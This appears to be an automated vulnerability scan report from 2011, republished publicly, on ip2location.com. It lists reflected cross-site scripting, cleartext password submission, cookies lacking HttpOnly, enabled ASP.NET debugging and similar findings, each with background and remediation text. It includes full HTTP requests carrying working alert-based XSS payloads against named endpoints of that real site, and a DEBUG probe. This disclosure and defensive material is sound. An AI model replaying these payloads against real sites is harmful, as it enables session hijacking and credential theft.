XSS, DORK, Cross Site Scripting, ip2location.com, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 20 20:44:41 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. Cross-site scripting (reflected)

1.1. http://www.ip2location.com/demo.aspx [ipaddresses parameter]

1.2. http://www.ip2location.com/ib1/ [name of an arbitrarily supplied request parameter]

1.3. http://www.ip2location.com/ib2/ [name of an arbitrarily supplied request parameter]

2. Cleartext submission of password

3. Cookie without HttpOnly flag set

3.1. http://www.ip2location.com/

3.2. http://www.ip2location.com/default.aspx

3.3. http://www.ip2location.com/docs/style.css

4. Password field with autocomplete enabled

5. ASP.NET debugging enabled

6. Referer-dependent response

7. Email addresses disclosed

8. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.ip2location.com/demo.aspx [ipaddresses parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ip2location.com
Path:   /demo.aspx

Issue detail

The value of the ipaddresses request parameter is copied into the HTML document as plain text between tags. The payload e0584<script>alert(1)</script>b4524eb2b12 was submitted in the ipaddresses parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /demo.aspx HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
Referer: http://ezooms.com/
Cache-Control: max-age=0
Origin: http://ezooms.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=kn0jgq2p3fp5nm55wq3ftlm3; URLReferral=http://ezooms.com/; customerreferer=customerreferer=http://ezooms.com/; firstvisit=firstvisit=2011-03-21 9:38:18; __utmz=1.1300671564.1.1.utmcsr=ezooms.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=1.1993593423.1300671564.1300671564.1300671564.1; __utmc=1; __utmb=1.1.10.1300671564
Content-Length: 35

ipaddresses=e0584<script>alert(1)</script>b4524eb2b12&submit.x=26&submit.y=8

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 55684
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Date: Mon, 21 Mar 2011 01:38:56 GMT


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Free Product Demo, Tools and Sample Databases</title>
<meta content="IP2Location&trade; Free Product Demo, Fre
...[SNIP]...
<span id="lblMessage" class="fontgraysmall">e0584<script>alert(1)</script>b4524eb2b12 is an invalid ip address.<br>
...[SNIP]...

1.2. http://www.ip2location.com/ib1/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ip2location.com
Path:   /ib1/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3e67"><script>alert(1)</script>0427af5616e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ib1/?f3e67"><script>alert(1)</script>0427af5616e=1 HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
Referer: http://www.ip2location.com/demo.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=kn0jgq2p3fp5nm55wq3ftlm3; URLReferral=http://ezooms.com/; customerreferer=customerreferer=http://ezooms.com/; firstvisit=firstvisit=2011-03-21 9:38:18; __utmz=1.1300671564.1.1.utmcsr=ezooms.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=1.1993593423.1300671564.1300671564.1300671564.1; __utmc=1; __utmb=1.1.10.1300671564

Response

HTTP/1.1 302 Found
Date: Mon, 21 Mar 2011 01:39:05 GMT
Server: Microsoft-IIS/6.0
Location: http://tools.ip2location.com/ib1?f3e67"><script>alert(1)</script>0427af5616e=1
Content-Length: 264
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1><p>The document has moved <a href="http://tools.ip2location.com/ib1?f3e67"><script>alert(1)</script>0427af5616e=1">
...[SNIP]...

1.3. http://www.ip2location.com/ib2/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ip2location.com
Path:   /ib2/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37104"><script>alert(1)</script>e79526e4dae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ib2/?37104"><script>alert(1)</script>e79526e4dae=1 HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
Referer: http://www.ip2location.com/demo.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=kn0jgq2p3fp5nm55wq3ftlm3; URLReferral=http://ezooms.com/; customerreferer=customerreferer=http://ezooms.com/; firstvisit=firstvisit=2011-03-21 9:38:18; __utmz=1.1300671564.1.1.utmcsr=ezooms.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=1.1993593423.1300671564.1300671564.1300671564.1; __utmc=1; __utmb=1.1.10.1300671564

Response

HTTP/1.1 302 Found
Date: Mon, 21 Mar 2011 01:39:05 GMT
Server: Microsoft-IIS/6.0
Location: http://tools.ip2location.com/ib2?37104"><script>alert(1)</script>e79526e4dae=1
Content-Length: 264
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1><p>The document has moved <a href="http://tools.ip2location.com/ib2?37104"><script>alert(1)</script>e79526e4dae=1">
...[SNIP]...

2. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ip2location.com
Path:   /login.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /login.aspx HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
Referer: http://www.ip2location.com/buyonline.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=kn0jgq2p3fp5nm55wq3ftlm3; URLReferral=http://ezooms.com/; customerreferer=customerreferer=http://ezooms.com/; firstvisit=firstvisit=2011-03-21 9:38:18; __utmz=1.1300671564.1.1.utmcsr=ezooms.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=1.1993593423.1300671564.1300671564.1300671564.1; __utmc=1; __utmb=1.3.10.1300671564

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 39706
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Date: Mon, 21 Mar 2011 01:39:09 GMT


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
       <title>Login Page</title>
       <meta name="description" content="Please login to download the latest IP2Location&tra
...[SNIP]...
<body>
       <form name="Form1" method="post" action="login.aspx" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwxOTY1MDU3OTYwO3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+Oz47bDx0PDtsPGk8MT47aTwzPjtpPDU+O2k8Nz47PjtsPHQ8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPHA8bDxWaXNpYmxl
...[SNIP]...
<td>
                                                           <input name="txtPassword" type="password" id="txtPassword" class="input5" /><FONT
color=#ff0000>
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next
There are 3 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



3.1. http://www.ip2location.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.ip2location.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
Referer: http://ezooms.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 64917
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=1vl3frn2klvwbzzrd0gmekef; path=/
Set-Cookie: URLReferral=http://ezooms.com/; expires=Wed, 21-Mar-2012 01:38:19 GMT; path=/
Set-Cookie: customerreferer=customerreferer=http://ezooms.com/; expires=Wed, 20-Mar-2013 16:00:00 GMT; path=/
Set-Cookie: firstvisit=firstvisit=2011-03-21 9:38:19; expires=Wed, 20-Mar-2013 16:00:00 GMT; path=/
Date: Mon, 21 Mar 2011 01:38:19 GMT


<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
   <head>
       <title>IP Address Geolocation to Identify Website Visitor's Geographical Location</title>
       <link rel="alternate"
...[SNIP]...

3.2. http://www.ip2location.com/default.aspx  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.ip2location.com
Path:   /default.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /default.aspx HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.ip2location.com

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 64215
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=nobry055krwf3545egmo4vnf; path=/
Set-Cookie: firstvisit=firstvisit=2011-03-21 9:41:16; expires=Wed, 20-Mar-2013 16:00:00 GMT; path=/
Date: Mon, 21 Mar 2011 01:41:16 GMT


<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
   <head>
       <title>IP Address Geolocation to Identify Website Visitor's Geographical Location</title>
       <link rel="alternate"
...[SNIP]...

3.3. http://www.ip2location.com/docs/style.css  previous

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.ip2location.com
Path:   /docs/style.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /docs/style.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.ip2location.com

Response

HTTP/1.1 302 Found
Date: Mon, 21 Mar 2011 01:41:15 GMT
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Location: /default.aspx
Set-Cookie: ASP.NET_SessionId=bti1jlanygl0ptypmcfgo145; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 850

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/default.aspx'>here</a>.</h2>
</body></html>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTM
...[SNIP]...

4. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.ip2location.com
Path:   /login.aspx

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /login.aspx HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
Referer: http://www.ip2location.com/buyonline.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=kn0jgq2p3fp5nm55wq3ftlm3; URLReferral=http://ezooms.com/; customerreferer=customerreferer=http://ezooms.com/; firstvisit=firstvisit=2011-03-21 9:38:18; __utmz=1.1300671564.1.1.utmcsr=ezooms.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=1.1993593423.1300671564.1300671564.1300671564.1; __utmc=1; __utmb=1.3.10.1300671564

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 39706
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Date: Mon, 21 Mar 2011 01:39:09 GMT


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
       <title>Login Page</title>
       <meta name="description" content="Please login to download the latest IP2Location&tra
...[SNIP]...
<body>
       <form name="Form1" method="post" action="login.aspx" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwxOTY1MDU3OTYwO3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+Oz47bDx0PDtsPGk8MT47aTwzPjtpPDU+O2k8Nz47PjtsPHQ8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPHA8bDxWaXNpYmxl
...[SNIP]...
<td>
                                                           <input name="txtPassword" type="password" id="txtPassword" class="input5" /><FONT
color=#ff0000>
...[SNIP]...

5. ASP.NET debugging enabled  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.ip2location.com
Path:   /Default.aspx

Issue detail

ASP.NET debugging is enabled on the server. The user context used to scan the application does not appear to be permitted to perform debugging, so this is not an immediately exploitable issue. However, if you were able to obtain or guess appropriate platform-level credentials, you may be able to perform debugging.

Issue background

ASP.NET allows remote debugging of web applications, if configured to do so. By default, debugging is subject to access control and requires platform-level authentication.

If an attacker can successfully start a remote debugging session, this is likely to disclose sensitive information about the web application and supporting infrastructure which may be valuable in formulating targetted attacks against the system.

Issue remediation

To disable debugging, open the Web.config file for the application, and find the <compilation> element within the <system.web> section. Set the debug attribute to "false". Note that it is also possible to enable debugging for all applications within the Machine.config file. You should confirm that debug attribute in the <compilation> element has not been set to "true" within the Machine.config file also.

It is strongly recommended that you refer to your platform's documentation relating to this issue, and do not rely solely on the above remediation.

Request

DEBUG /Default.aspx HTTP/1.0
Host: www.ip2location.com
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Connection: close
Date: Mon, 21 Mar 2011 01:38:20 GMT
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39

Debug access denied to '/Default.aspx'.

6. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.ip2location.com
Path:   /

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET / HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
Referer: http://ezooms.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 64917
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=1vl3frn2klvwbzzrd0gmekef; path=/
Set-Cookie: URLReferral=http://ezooms.com/; expires=Wed, 21-Mar-2012 01:38:19 GMT; path=/
Set-Cookie: customerreferer=customerreferer=http://ezooms.com/; expires=Wed, 20-Mar-2013 16:00:00 GMT; path=/
Set-Cookie: firstvisit=firstvisit=2011-03-21 9:38:19; expires=Wed, 20-Mar-2013 16:00:00 GMT; path=/
Date: Mon, 21 Mar 2011 01:38:19 GMT


<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
   <head>
       <title>IP Address Geolocation to Identify Website Visitor's Geographical Location</title>
       <link rel="alternate" type="application/rss+xml" title="IP2Location" href="http://www.ip2location.com/rss.xml">
       <meta name="description" content="IP2Location.com IP Address Geolocation to Country, City, Region, Latitude, Longitude, ZIP Code, ISP, Domain Name, Timezone, NetSpeed, IDD, Country Code, Area Code, Weather Station Code and Weather Station Name Database">
       <meta name="keywords" content="ip address, geolocation, country, city, region, latitude, longitude, ZIP code, ISP, domain name, timezone, netspeed, IDD, country code, area code, weather station code, weather station name">
       <meta name="google-site-verification" content="H9joACIMtIwt8u990KAa75kuIKXOBtjQ4_hXqsBklH0" />
       <link rel="stylesheet" type="text/css" href="style.css">
   </head>
   <body>
       <form name="Form1" method="post" action="Default.aspx" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwyMTEzNTQ2MDQ5O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+O2k8NT47PjtsPHQ8O2w8aTwxPjtpPDM+O2k8NT47aTw3Pjs+O2w8dDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Ozs+O3Q8cDxsPHNyYzs+O2w8aW1hZ2VzL2xvZ2luLmdpZjs+Pjs7Pjs+Pjt0PDtsPGk8MT47aTwzPjtpPDU+O2k8Nz47aTw5PjtpPDExPjtpPDEzPjtpPDE1PjtpPDE3PjtpPDE5PjtpPDIxPjtpPDIzPjtpPDI1Pjs+O2w8dDxwPHA8bDxUZXh0Oz47bDxNYXJjaCAyMDExOz4+Oz47Oz47dDw7bDxpPDE+Oz47bDx0PHA8cDxsPFRleHQ7PjtsPDE3My4xOTMuMjE0LjI0Mzs+Pjs+Ozs+Oz4+O3Q8O2w8aTwxPjtp
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 64917
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=n03v4d55imw2b255syk4ww45; path=/
Set-Cookie: firstvisit=firstvisit=2011-03-21 9:38:22; expires=Wed, 20-Mar-2013 16:00:00 GMT; path=/
Date: Mon, 21 Mar 2011 01:38:21 GMT


<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
   <head>
       <title>IP Address Geolocation to Identify Website Visitor's Geographical Location</title>
       <link rel="alternate" type="application/rss+xml" title="IP2Location" href="http://www.ip2location.com/rss.xml">
       <meta name="description" content="IP2Location.com IP Address Geolocation to Country, City, Region, Latitude, Longitude, ZIP Code, ISP, Domain Name, Timezone, NetSpeed, IDD, Country Code, Area Code, Weather Station Code and Weather Station Name Database">
       <meta name="keywords" content="ip address, geolocation, country, city, region, latitude, longitude, ZIP code, ISP, domain name, timezone, netspeed, IDD, country code, area code, weather station code, weather station name">
       <meta name="google-site-verification" content="H9joACIMtIwt8u990KAa75kuIKXOBtjQ4_hXqsBklH0" />
       <link rel="stylesheet" type="text/css" href="style.css">
   </head>
   <body>
       <form name="Form1" method="post" action="Default.aspx" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwyMTEzNTQ2MDQ5O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+O2k8NT47PjtsPHQ8O2w8aTwxPjtpPDM+O2k8NT47aTw3Pjs+O2w8dDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Ozs+O3Q8cDxsPHNyYzs+O2w8aW1hZ2VzL2xvZ2luLmdpZjs+Pjs7Pjs+Pjt0PDtsPGk8MT47aTwzPjtpPDU+O2k8Nz47aTw5PjtpPDExPjtpPDEzPjtpPDE1PjtpPDE3PjtpPDE5PjtpPDIxPjtpPDIzPjtpPDI1Pjs+O2w8dDxwPHA8bDxUZXh0Oz47bDxNYXJjaCAyMDExOz4+Oz47Oz47dDw7bDxpPDE+Oz47bDx0PHA8cDxsPFRleHQ7PjtsPDE3My4xOTMuMjE0LjI0Mzs+Pjs+Ozs+Oz4+O3Q8O2w8aTwxPjtpPDM+Oz47bDx0PHA8bDxzcmM7PjtsPGltYWdlcy9jb3VudHJ5L1VTLmdpZjs+Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFVOSVRFRCBTVEFURVMsIFRFWEFTLCBEQUxMQVM7Pj47Pjs7Pjs+Pjt0PDtsPGk8MT47PjtsPHQ8cDxwPGw8VGV4dDs+O2w8MzIuODAyOTU1IExBVE
...[SNIP]...

7. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ip2location.com
Path:   /demo.aspx

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

POST /demo.aspx HTTP/1.1
Host: www.ip2location.com
Proxy-Connection: keep-alive
Referer: http://ezooms.com/
Cache-Control: max-age=0
Origin: http://ezooms.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
